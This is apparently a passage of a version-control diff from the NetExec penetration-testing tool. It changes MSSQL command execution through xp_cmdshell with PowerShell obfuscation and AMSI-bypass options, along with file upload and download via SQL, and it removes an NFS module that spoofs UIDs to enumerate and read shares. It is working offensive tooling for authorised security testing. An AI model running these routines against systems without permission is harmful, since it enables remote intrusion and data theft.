response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output) for c in commands]
else:
response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output)]
self.logger.debug(f"ps_execute response: {response}")
return response
def ps_execute(
self,
payload=None,
get_output=False,
force_ps32=False,
dont_obfs=False,
):
if not payload and self.args.ps_execute:
payload = self.args.ps_execute
if not self.args.no_output:
get_output = True
# We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method
ps_command = create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs)
return self.execute(ps_command, get_output)
@requires_admin
def put_file(self):
+53 -27
View File
@@ -1,24 +1,37 @@
import sys
import warnings
from sqlalchemy import func, select, insert, update, delete, Table
from pathlib import Path
from sqlalchemy import MetaData, func, Table, select, insert, update, delete
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy.exc import SAWarning, NoInspectionAvailable, NoSuchTableError
from nxc.database import BaseDB
from sqlalchemy.exc import (
# IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy.exc import SAWarning
import warnings
from nxc.logger import nxc_logger
import sys
# if there is an issue with SQLAlchemy and a connection cannot be cleaned up properly it spews out annoying warnings
warnings.filterwarnings("ignore", category=SAWarning)
class database(BaseDB):
class database:
def __init__(self, db_engine):
self.HostsTable = None
self.UsersTable = None
self.AdminRelationsTable = None
super().__init__(db_engine)
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
Session = scoped_session(session_factory)
# this is still named "conn" when it is the session object; TODO: rename
self.conn = Session()
@staticmethod
def db_schema(db_conn):
@@ -70,6 +83,19 @@ class database(BaseDB):
)
sys.exit()
def shutdown_db(self):
try:
self.conn.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.conn.execute(table.delete())
def add_host(self, ip, hostname, domain, os, instances):
"""
Check if this host has already been added to the database, if not, add it in.
@@ -81,7 +107,7 @@ class database(BaseDB):
hosts = []
q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip)
results = self.db_execute(q).all()
results = self.conn.execute(q).all()
nxc_logger.debug(f"mssql add_host() - hosts returned: {results}")
host_data = {
@@ -116,7 +142,7 @@ class database(BaseDB):
q = Insert(self.HostsTable)
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
self.db_execute(q, hosts)
self.conn.execute(q, hosts)
def add_credential(self, credtype, domain, username, password, pillaged_from=None):
"""Check if this credential has already been added to the database, if not add it in."""
@@ -139,7 +165,7 @@ class database(BaseDB):
func.lower(self.UsersTable.c.username) == func.lower(username),
func.lower(self.UsersTable.c.credtype) == func.lower(credtype),
)
results = self.db_execute(q).all()
results = self.conn.execute(q).all()
if not results:
user_data = {
@@ -150,13 +176,13 @@ class database(BaseDB):
"pillaged_from_hostid": pillaged_from,
}
q = insert(self.UsersTable).values(user_data) # .returning(self.UsersTable.c.id)
self.db_execute(q) # .first()
self.conn.execute(q) # .first()
else:
for user in results:
# might be able to just remove this if check, but leaving it in for now
if not user[3] and not user[4] and not user[5]:
q = update(self.UsersTable).values(credential_data) # .returning(self.UsersTable.c.id)
results = self.db_execute(q) # .first()
results = self.conn.execute(q) # .first()
nxc_logger.debug(f"add_credential(credtype={credtype}, domain={domain}, username={username}, password={password}, pillaged_from={pillaged_from})")
return user_rowid
@@ -167,12 +193,12 @@ class database(BaseDB):
for cred_id in creds_id:
q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id)
del_hosts.append(q)
self.db_execute(q)
self.conn.execute(q)
def add_admin_user(self, credtype, domain, username, password, host, user_id=None):
if user_id:
q = select(self.UsersTable).filter(self.UsersTable.c.id == user_id)
users = self.db_execute(q).all()
users = self.conn.execute(q).all()
else:
q = select(self.UsersTable).filter(
self.UsersTable.c.credtype == credtype,
@@ -180,12 +206,12 @@ class database(BaseDB):
func.lower(self.UsersTable.c.username) == func.lower(username),
self.UsersTable.c.password == password,
)
users = self.db_execute(q).all()
users = self.conn.execute(q).all()
nxc_logger.debug(f"Users: {users}")
like_term = func.lower(f"%{host}%")
q = q.filter(self.HostsTable.c.ip.like(like_term))
hosts = self.db_execute(q).all()
hosts = self.conn.execute(q).all()
nxc_logger.debug(f"Hosts: {hosts}")
if users is not None and hosts is not None:
@@ -198,10 +224,10 @@ class database(BaseDB):
self.AdminRelationsTable.c.userid == user_id,
self.AdminRelationsTable.c.hostid == host_id,
)
links = self.db_execute(q).all()
links = self.conn.execute(q).all()
if not links:
self.db_execute(insert(self.AdminRelationsTable).values(link))
self.conn.execute(insert(self.AdminRelationsTable).values(link))
def get_admin_relations(self, user_id=None, host_id=None):
if user_id:
@@ -211,7 +237,7 @@ class database(BaseDB):
else:
q = select(self.AdminRelationsTable)
return self.db_execute(q).all()
return self.conn.execute(q).all()
def remove_admin_relation(self, user_ids=None, host_ids=None):
q = delete(self.AdminRelationsTable)
@@ -221,7 +247,7 @@ class database(BaseDB):
elif host_ids:
for host_id in host_ids:
q = q.filter(self.AdminRelationsTable.c.hostid == host_id)
self.db_execute(q)
self.conn.execute(q)
def is_credential_valid(self, credential_id):
"""Check if this credential ID is valid."""
@@ -229,7 +255,7 @@ class database(BaseDB):
self.UsersTable.c.id == credential_id,
self.UsersTable.c.password is not None,
)
results = self.db_execute(q).all()
results = self.conn.execute(q).all()
return len(results) > 0
def get_credentials(self, filter_term=None, cred_type=None):
@@ -247,12 +273,12 @@ class database(BaseDB):
else:
q = select(self.UsersTable)
return self.db_execute(q).all()
return self.conn.execute(q).all()
def is_host_valid(self, host_id):
"""Check if this host ID is valid."""
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
results = self.db_execute(q).all()
results = self.conn.execute(q).all()
return len(results) > 0
def get_hosts(self, filter_term=None, domain=None):
@@ -262,7 +288,7 @@ class database(BaseDB):
# if we're returning a single host by ID
if self.is_host_valid(filter_term):
q = q.filter(self.HostsTable.c.id == filter_term)
results = self.db_execute(q).first()
results = self.conn.execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
# if we're filtering by domain controllers
@@ -275,4 +301,4 @@ class database(BaseDB):
like_term = func.lower(f"%{filter_term}%")
q = select(self.HostsTable).filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term))
return self.db_execute(q).all()
return self.conn.execute(q).all()
+27 -42
View File
@@ -5,85 +5,70 @@ class MSSQLEXEC:
def __init__(self, connection, logger):
self.mssql_conn = connection
self.logger = logger
self.outputBuffer = []
def execute(self, command):
result = None
def execute(self, command, output=False):
try:
self.logger.debug("Attempting to enable xp cmd shell")
self.enable_xp_cmdshell()
except Exception as e:
self.logger.error(f"Error when attempting to enable x_cmdshell: {e}")
try:
cmd = f"exec master..xp_cmdshell '{command}'"
self.logger.debug(f"Attempting to execute query: {cmd}")
result = self.mssql_conn.sql_query(cmd)
self.logger.debug(f"Raw results from query: {result}")
if result:
result = "\n".join(line["output"] for line in result if line["output"] != "NULL")
self.logger.debug(f"Concatenated result together for easier parsing: {result}")
# if you prepend SilentlyContinue it will still output the error, but it will still continue on (so it's not silent...)
if "Preparing modules for first use" in result and "Completed" not in result:
self.logger.error("Error when executing PowerShell (received 'preparing modules for first use'), try prepending $ProgressPreference = 'SilentlyContinue'; to your command")
result = self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'")
except Exception as e:
self.logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
try:
self.logger.debug("Attempting to disable xp cmd shell")
self.disable_xp_cmdshell()
except Exception as e:
self.logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
return result
if output:
self.logger.debug(f"SQL Query Result: {result}")
for row in result:
if row["output"] == "NULL":
continue
self.outputBuffer.append(row["output"])
else:
self.logger.info("Output set to disabled")
return self.outputBuffer
def enable_xp_cmdshell(self):
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
def disable_xp_cmdshell(self):
query = "exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
self.mssql_conn.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")
def enable_ole(self):
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;")
def disable_ole(self):
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;")
def put_file(self, data, remote):
try:
self.enable_ole()
hexdata = data.hex()
self.logger.debug(f"Hex data to write to file: {hexdata}")
query = f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
self.mssql_conn.sql_query(f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;")
self.disable_ole()
except Exception as e:
self.logger.debug(f"Error uploading via mssqlexec: {e}")
def file_exists(self, remote):
try:
query = f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n"
self.logger.debug(f"Executing query: {query}")
res = self.mssql_conn.batch(query)
self.logger.debug(f"File check response: {res}")
return res[0]["n"] == 1
res = self.mssql_conn.batch(f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n")[0]["n"]
return res == 1
except Exception:
return False
def get_file(self, remote, local):
try:
query = f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
data = self.mssql_conn.rows
self.logger.debug(f"Get file returned: {data}")
self.mssql_conn.sql_query(f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs")
data = self.mssql_conn.rows[0]["BulkColumn"]
with open(local, "wb+") as f:
f.write(binascii.unhexlify(data[0]["BulkColumn"]))
f.write(binascii.unhexlify(data))
except Exception as e:
self.logger.debug(f"Error downloading via mssqlexec: {e}")
+9 -14
View File
@@ -1,11 +1,8 @@
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, parents):
mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=parents, formatter_class=DisplayDefaultsNotNone)
def proto_args(parser, std_parser, module_parser):
mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=[std_parser, module_parser])
mssql_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port")
mssql_parser.add_argument("--mssql-timeout", help="SQL server connection timeout", type=int, default=5)
mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port (default: 1433)")
mssql_parser.add_argument("--mssql-timeout", help="SQL server connection timeout, default is %(default)s seconds", type=int, default=5)
mssql_parser.add_argument("-q", "--query", dest="mssql_query", metavar="QUERY", type=str, help="execute the specified query against the MSSQL DB")
dgroup = mssql_parser.add_mutually_exclusive_group()
@@ -13,20 +10,18 @@ def proto_args(parser, parents):
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
cgroup = mssql_parser.add_argument_group("Command Execution", "options for executing commands")
cgroup.add_argument("--force-ps32", action="store_true", help="force the PowerShell command to run in a 32-bit process")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
xgroup = cgroup.add_mutually_exclusive_group()
xgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
xgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
psgroup = mssql_parser.add_argument_group("Powershell Options", "Options for PowerShell execution")
psgroup.add_argument("--force-ps32", action="store_true", default=False, help="Force the PowerShell command to run in a 32-bit process via a job; WARNING: depends on the job completing quickly, so you may have to increase the timeout")
psgroup.add_argument("--obfs", action="store_true", default=False, help="Obfuscate PowerShell ran on target; WARNING: Defender will almost certainly trigger on this")
psgroup.add_argument("--amsi-bypass", nargs=1, metavar="FILE", type=str, help="File with a custom AMSI bypass")
psgroup = mssql_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
psgroup.add_argument("--no-encode", action="store_true", default=False, help="Do not encode the PowerShell command ran on target")
tgroup = mssql_parser.add_argument_group("Files", "Options for put and get remote files")
tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\\\Windows\\\\Temp\\\\whoami.txt")
tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt")
tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt")
return parser
-391
View File
@@ -1,391 +0,0 @@
from nxc.connection import connection
from nxc.logger import NXCAdapter
from nxc.helpers.logger import highlight
from pyNfsClient import Portmap, Mount, NFSv3, NFS_PROGRAM, NFS_V3, ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, NFSSTAT3
import re
import uuid
import math
import os
class nfs(connection):
def __init__(self, args, db, host):
self.protocol = "nfs"
self.port = 111
self.portmap = None
self.mnt_port = None
self.mount = None
self.auth = {
"flavor": 1,
"machine_name": uuid.uuid4().hex.upper()[0:6],
"uid": 0,
"gid": 0,
"aux_gid": [],
}
connection.__init__(self, args, db, host)
def proto_logger(self):
self.logger = NXCAdapter(
extra={
"protocol": "NFS",
"host": self.host,
"port": self.port,
"hostname": self.hostname,
}
)
def create_conn_obj(self):
"""Initializes and connects to the portmap and mounted folder"""
try:
# Portmap Initialization
self.portmap = Portmap(self.host, timeout=self.args.nfs_timeout)
self.portmap.connect()
# Mount Initialization
self.mnt_port = self.portmap.getport(Mount.program, Mount.program_version)
self.mount = Mount(host=self.host, port=self.mnt_port, timeout=self.args.nfs_timeout, auth=self.auth)
self.mount.connect()
# Change logging port to the NFS port
self.port = self.mnt_port
self.proto_logger()
except Exception as e:
self.logger.fail(f"Error during Initialization: {e}")
return False
return True
def enum_host_info(self):
try:
# Dump all registered programs
programs = self.portmap.dump()
self.nfs_versions = set()
for program in programs:
if program["program"] == NFS_PROGRAM:
self.nfs_versions.add(program["version"])
return self.nfs_versions
except Exception as e:
self.logger.debug(f"Error checking NFS version: {self.host} {e}")
def print_host_info(self):
self.logger.display(f"Target supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)})")
return True
def disconnect(self):
"""Disconnect mount and portmap if they are connected"""
try:
self.mount.disconnect()
self.portmap.disconnect()
self.logger.info(f"Disconnect successful: {self.host}:{self.port}")
except Exception as e:
self.logger.fail(f"Error during disconnect: {e}")
def list_dir(self, file_handle, path, recurse=1):
"""Process entries in NFS directory recursively with UID autodection"""
def process_entries(entries, path, uid, recurse):
try:
contents = []
for entry in entries:
if "name" in entry and entry["name"] not in [b".", b".."]:
item_path = f'{path}/{entry["name"].decode("utf-8")}' # Constructing file path
if entry.get("name_attributes", {}).get("present", False):
if entry["name_attributes"]["attributes"]["type"] == 2 and recurse > 0: # Recursive directory listing. Entry type shows file format. 1 is file, 2 is folder.
dir_handle = entry["name_handle"]["handle"]["data"]
contents += self.list_dir(dir_handle, item_path, recurse=recurse - 1)
else:
file_handle = entry["name_handle"]["handle"]["data"]
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
file_size = attrs["attributes"]["size"]
file_size = convert_size(file_size)
uid = attrs["attributes"]["uid"]
read_perm, write_perm, exec_perm = self.get_permissions(entry["name_handle"]["handle"]["data"])
contents.append({"path": item_path, "read": read_perm, "write": write_perm, "execute": exec_perm, "filesize": file_size, "uid": uid})
if entry["nextentry"]:
# Processing next entries recursively
contents += process_entries(entry["nextentry"], path, uid, recurse)
return contents
except Exception as e:
self.logger.debug(f"Error on Listing Entries for NFS Shares: {self.host}:{self.port} {e}")
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
self.auth["uid"] = attrs["attributes"]["uid"]
if recurse == 0:
read_perm, write_perm, exec_perm = self.get_permissions(file_handle)
return [{"path": f"{path}/", "read": read_perm, "write": write_perm, "execute": exec_perm, "filesize": "-", "uid": self.auth["uid"]}]
items = self.nfs3.readdirplus(file_handle, auth=self.auth)
if "resfail" in items:
raise Exception("Insufficient Permissions")
else:
entries = items["resok"]["reply"]["entries"]
return process_entries(entries, path, self.auth["uid"], recurse)
def export_info(self, export_nodes):
"""Enumerates all NFS shares and their access range"""
networks = []
for node in export_nodes:
# Collect the names of the groups associated with this export node
group_names = self.group_names(node.ex_groups)
networks.append(group_names)
# If there are more export nodes, process them recursively. More than one share.
if node.ex_next:
networks.extend(self.export_info(node.ex_next))
return networks
def group_names(self, groups):
"""Enumerates all access range of the share(s)"""
result = []
for group in groups:
result.append(group.gr_name.decode())
# If there are more IP's, process them recursively.
if group.gr_next:
result.extend(self.group_names(group.gr_next))
return result
def shares(self):
self.logger.display("Enumerating NFS Shares")
try:
# Connect to NFS
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
output_export = str(self.mount.export())
networks = self.export_info(self.mount.export())
reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names
shares = list(reg.findall(output_export))
# Mount shares and check permissions
self.logger.highlight(f"{'UID':<11}{'Perms':<9}{'Storage Usage':<17}{'Share':<30} {'Access List':<15}")
self.logger.highlight(f"{'---':<11}{'-----':<9}{'-------------':<17}{'-----':<30} {'-----------':<15}")
for share, network in zip(shares, networks):
try:
mnt_info = self.mount.mnt(share, self.auth)
file_handle = mnt_info["mountinfo"]["fhandle"]
info = self.nfs3.fsstat(file_handle, self.auth)
free_space = info["resok"]["fbytes"]
total_space = info["resok"]["tbytes"]
used_space = total_space - free_space
# Autodetectting the uid needed for the share
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
self.auth["uid"] = attrs["attributes"]["uid"]
read_perm, write_perm, exec_perm = self.get_permissions(file_handle)
self.mount.umnt(self.auth)
self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space)}/{convert_size(total_space):<9} {share:<30} {', '.join(network) if network else 'No network':<15}")
except Exception as e:
self.logger.fail(f"Failed to list share: {share} - {e}")
except Exception as e:
self.logger.fail(f"Error on Enumeration NFS Shares: {self.host}:{self.port} {e}")
finally:
self.nfs3.disconnect()
def get_permissions(self, file_handle):
"""Check permissions for the file handle"""
try:
read_perm = self.nfs3.access(file_handle, ACCESS3_READ, self.auth).get("resok", {}).get("access", 0) is ACCESS3_READ
except Exception:
read_perm = False
try:
write_perm = self.nfs3.access(file_handle, ACCESS3_MODIFY, self.auth).get("resok", {}).get("access", 0) is ACCESS3_MODIFY
except Exception:
write_perm = False
try:
exec_perm = self.nfs3.access(file_handle, ACCESS3_EXECUTE, self.auth).get("resok", {}).get("access", 0) is ACCESS3_EXECUTE
except Exception:
exec_perm = False
return read_perm, write_perm, exec_perm
def enum_shares(self):
try:
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Mounting NFS Shares
output_export = str(self.mount.export())
reg = re.compile(r"ex_dir=b'([^']*)'")
shares = list(reg.findall(output_export))
networks = self.export_info(self.mount.export())
self.logger.display("Enumerating NFS Shares Directories")
for share, network in zip(shares, networks):
try:
mount_info = self.mount.mnt(share, self.auth)
contents = self.list_dir(mount_info["mountinfo"]["fhandle"], share, self.args.enum_shares)
self.logger.success(share)
if contents:
self.logger.highlight(f"{'UID':<11}{'Perms':<9}{'File Size':<15}{'File Path':<45} {'Access List':<15}")
self.logger.highlight(f"{'---':<11}{'-----':<9}{'---------':<15}{'---------':<45} {'-----------':<15}")
for content in contents:
self.logger.highlight(f"{content['uid']:<11}{'r' if content['read'] else '-'}{'w' if content['write'] else '-'}{'x' if content['execute'] else '-':<7}{content['filesize']:<14} {content['path']:<45} {', '.join(network) if network else 'No network':<15}")
except Exception as e:
if "RPC_AUTH_ERROR: AUTH_REJECTEDCRED" in str(e):
self.logger.fail(f"{share} - RPC Access denied")
elif "RPC_AUTH_ERROR: AUTH_TOOWEAK" in str(e):
self.logger.fail(f"{share} - Kerberos authentication required")
elif "Insufficient Permissions" in str(e):
self.logger.fail(f"{share} - Insufficient Permissions for share listing")
else:
self.logger.exception(f"{share} - {e}")
except Exception as e:
self.logger.debug(f"Error on Listing NFS Shares Directories: {self.host}:{self.port} {e}")
self.logger.debug("It is probably unknown format or can not access as anonymously.")
finally:
self.nfs3.disconnect()
def get_file(self):
"""Downloads a file from the NFS share"""
remote_file_path = self.args.get_file[0]
remote_dir_path, file_name = os.path.split(remote_file_path)
local_file_path = self.args.get_file[1]
# Do a bit of smart handling for the local file path
if local_file_path.endswith("/"):
local_file_path += file_name
self.logger.display(f"Downloading {remote_file_path} to {local_file_path}")
try:
# Connect to NFS
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Mount the NFS share
mnt_info = self.mount.mnt(remote_dir_path, self.auth)
# Update the UID for the file
attrs = self.nfs3.getattr(mnt_info["mountinfo"]["fhandle"], auth=self.auth)
self.auth["uid"] = attrs["attributes"]["uid"]
dir_handle = mnt_info["mountinfo"]["fhandle"]
# Get the file handle and file size
dir_data = self.nfs3.lookup(dir_handle, file_name, auth=self.auth)
file_handle = dir_data["resok"]["object"]["data"]
# Handle files over the default chunk size of 1024 * 1024
offset = 0
eof = False
# Loop until we have read the entire file
with open(local_file_path, "wb+") as local_file:
while not eof:
file_data = self.nfs3.read(file_handle, offset, auth=self.auth)
if "resfail" in file_data:
raise Exception("Insufficient Permissions")
else:
# Get the data and append it to the total file data
data = file_data["resok"]["data"]
eof = file_data["resok"]["eof"]
# Update the offset to read the next chunk
offset += len(data)
# Write the file data to the local file
local_file.write(data)
self.logger.highlight(f"File successfully downloaded to {local_file_path} from {remote_file_path}")
# Unmount the share
self.mount.umnt(self.auth)
except Exception as e:
self.logger.fail(f'Error retrieving file "{file_name}" from "{remote_dir_path}": {e}')
if os.path.exists(local_file_path) and os.path.getsize(local_file_path) == 0:
os.remove(local_file_path)
def put_file(self):
"""Uploads a file to the NFS share"""
local_file_path = self.args.put_file[0]
remote_file_path = self.args.put_file[1]
file_name = ""
# Check if local file is exist
if not os.path.isfile(local_file_path):
self.logger.fail(f"{local_file_path} does not exist.")
return
# Do a bit of smart handling for the file paths
file_name = local_file_path.split("/")[-1] if "/" in local_file_path else local_file_path
if not remote_file_path.endswith("/"):
remote_file_path += "/"
self.logger.display(f"Uploading from {local_file_path} to {remote_file_path}")
try:
# Connect to NFS
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Mount the NFS share to create the file
mnt_info = self.mount.mnt(remote_file_path, self.auth)
dir_handle = mnt_info["mountinfo"]["fhandle"]
# Update the UID from the directory
attrs = self.nfs3.getattr(dir_handle, auth=self.auth)
self.auth["uid"] = attrs["attributes"]["uid"]
# Checking if file_name already exists on remote file path
lookup_response = self.nfs3.lookup(dir_handle, file_name, auth=self.auth)
# If success, file_name does not exist on remote machine. Else, trying to overwrite it.
if lookup_response["resok"] is None:
# Create file
self.logger.display(f"Trying to create {remote_file_path}{file_name}")
res = self.nfs3.create(dir_handle, file_name, create_mode=1, mode=0o777, auth=self.auth)
if res["status"] != 0:
raise Exception(NFSSTAT3[res["status"]])
else:
file_handle = res["resok"]["obj"]["handle"]["data"]
self.logger.success(f"{file_name} successfully created")
else:
# Asking the user if they want to overwrite the file
ans = input(highlight(f"[!] {file_name} already exists on {remote_file_path}. Do you want to overwrite it? [Y/n] ", "red"))
if ans.lower() in ["y", "yes", ""]:
self.logger.display(f"{file_name} already exists on {remote_file_path}. Trying to overwrite it...")
file_handle = lookup_response["resok"]["object"]["data"]
else:
self.logger.fail(f"Uploading was not successful. The {file_name} is exist on {remote_file_path}")
return
try:
with open(local_file_path, "rb") as file:
file_data = file.read().decode()
# Write the data to the remote file
self.logger.display(f"Trying to write data from {local_file_path} to {remote_file_path}")
self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth)
self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path}")
except Exception as e:
self.logger.fail(f"Could not write to {local_file_path}: {e}")
# Unmount the share
self.mount.umnt(self.auth)
except Exception as e:
self.logger.fail(f"Error writing file to share {remote_file_path}: {e}")
else:
self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}")
def convert_size(size_bytes):
if size_bytes == 0:
return "0B"
size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
i = int(math.floor(math.log(size_bytes, 1024)))
p = math.pow(1024, i)
s = round(size_bytes / p, 1)
return f"{s}{size_name[i]}"
View File
Whitespace-only changes.
-70
View File
@@ -1,70 +0,0 @@
from sqlalchemy import Table
from sqlalchemy.exc import (
NoInspectionAvailable,
NoSuchTableError,
)
from nxc.database import BaseDB
import sys
class database(BaseDB):
def __init__(self, db_engine):
self.CredentialsTable = None
self.HostsTable = None
self.LoggedinRelationsTable = None
self.SharesTable = None
super().__init__(db_engine)
@staticmethod
def db_schema(db_conn):
db_conn.execute(
"""CREATE TABLE "credentials" (
"id" integer PRIMARY KEY,
"username" text,
"password" text
)"""
)
db_conn.execute(
"""CREATE TABLE "hosts" (
"id" integer PRIMARY KEY,
"ip" text,
"hostname" text,
"port" integer
)"""
)
db_conn.execute(
"""CREATE TABLE "loggedin_relations" (
"id" integer PRIMARY KEY,
"cred_id" integer,
"host_id" integer,
FOREIGN KEY(cred_id) REFERENCES credentials(id),
FOREIGN KEY(host_id) REFERENCES hosts(id)
)"""
)
db_conn.execute(
"""CREATE TABLE "shares" (
"id" integer PRIMARY KEY,
"lir_id" integer,
"data" text,
FOREIGN KEY(lir_id) REFERENCES loggedin_relations(id)
)"""
)
def reflect_tables(self):
with self.db_engine.connect():
try:
self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine)
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)
self.LoggedinRelationsTable = Table("loggedin_relations", self.metadata, autoload_with=self.db_engine)
self.SharesTable = Table("shares", self.metadata, autoload_with=self.db_engine)
except (NoInspectionAvailable, NoSuchTableError):
print(
f"""
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
[-] This is probably because a newer version of nxc is being run on an old DB schema
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
sys.exit()
-15
View File
@@ -1,15 +0,0 @@
from nxc.nxcdb import DatabaseNavigator, print_help
